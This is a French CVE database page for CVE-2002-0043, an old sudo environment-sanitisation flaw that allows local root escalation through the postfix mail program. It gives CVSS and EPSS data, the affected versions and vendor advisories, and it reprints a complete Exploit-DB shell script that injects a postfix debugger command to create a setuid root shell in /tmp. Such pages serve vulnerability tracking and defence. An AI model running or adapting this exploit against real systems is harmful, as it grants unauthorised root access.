CVE-2002-0043 : Détail

CVE-2002-0043

0.04%V3
Local
2002-06-25
02h00 +00:00
2002-06-15
22h00 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

sudo 1.6.0 through 1.6.3p7 does not properly clear the environment before calling the mail program, which could allow local users to gain root privileges by modifying environment variables and changing how the mail program is invoked.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 21227

Date de publication : 2002-01-13 23h00 +00:00
Auteur : Charles Stevenson
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/3871/info Sudo is a freely available, open source permissions management software package available for the Linux and Unix operating systems. It is maintained by Todd C. Miller. Under some circumstances, sudo does not properly sanitize the environment it executes programs with. In the event that sudo is used to run a program such as an MTA with root privileges, this could result in a local user passing unsafe data to the program via environment variables. From these environment variables the user may be able to execute commands as root, and potentially gain elevated privileges. #!/bin/sh # # root shell exploit for postfix + sudo # tested on debian powerpc unstable # # by Charles 'core' Stevenson <core@bokeoa.com> # Put your password here if you're not in the sudoers file PASSWORD=wdnownz echo -e "sudo exploit by core <core@bokeoa.com>\n" echo "Setting up postfix config directory..." /bin/cp -r /etc/postfix /tmp echo "Adding malicious debugger command..." echo "debugger_command = /bin/cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh">>/tmp/postfix/main.cf echo "Setting up environment..." export MAIL_CONFIG=/tmp/postfix export MAIL_DEBUG= sleep 2 echo "Trying to exploit..." echo -e "$PASSWORD\n"|/usr/bin/sudo su - sleep 2 echo "We should have a root shell let's check..." ls -l /tmp/sh echo "Cleaning up..." rm -rf /tmp/postfix echo "Attempting to run root shell..." /tmp/sh

Products Mentioned

Configuraton 0

Todd_miller>>Sudo >> Version 1.6

Todd_miller>>Sudo >> Version 1.6.1

Todd_miller>>Sudo >> Version 1.6.2

Todd_miller>>Sudo >> Version 1.6.3

Todd_miller>>Sudo >> Version 1.6.3_p1

    Todd_miller>>Sudo >> Version 1.6.3_p2

      Todd_miller>>Sudo >> Version 1.6.3_p3

        Todd_miller>>Sudo >> Version 1.6.3_p4

          Todd_miller>>Sudo >> Version 1.6.3_p5

            Todd_miller>>Sudo >> Version 1.6.3_p6

              Todd_miller>>Sudo >> Version 1.6.3_p7

              Références

              http://www.redhat.com/support/errata/RHSA-2002-013.html
              Tags : vendor-advisory, x_refsource_REDHAT
              http://www.securityfocus.com/advisories/3800
              Tags : vendor-advisory, x_refsource_IMMUNIX
              http://www.securityfocus.com/bid/3871
              Tags : vdb-entry, x_refsource_BID
              http://www.securityfocus.com/archive/1/250168
              Tags : mailing-list, x_refsource_BUGTRAQ
              http://marc.info/?l=bugtraq&m=101120193627756&w=2
              Tags : mailing-list, x_refsource_BUGTRAQ
              http://www.debian.org/security/2002/dsa-101
              Tags : vendor-advisory, x_refsource_DEBIAN
              http://www.redhat.com/support/errata/RHSA-2002-011.html
              Tags : vendor-advisory, x_refsource_REDHAT
              http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000451
              Tags : vendor-advisory, x_refsource_CONECTIVA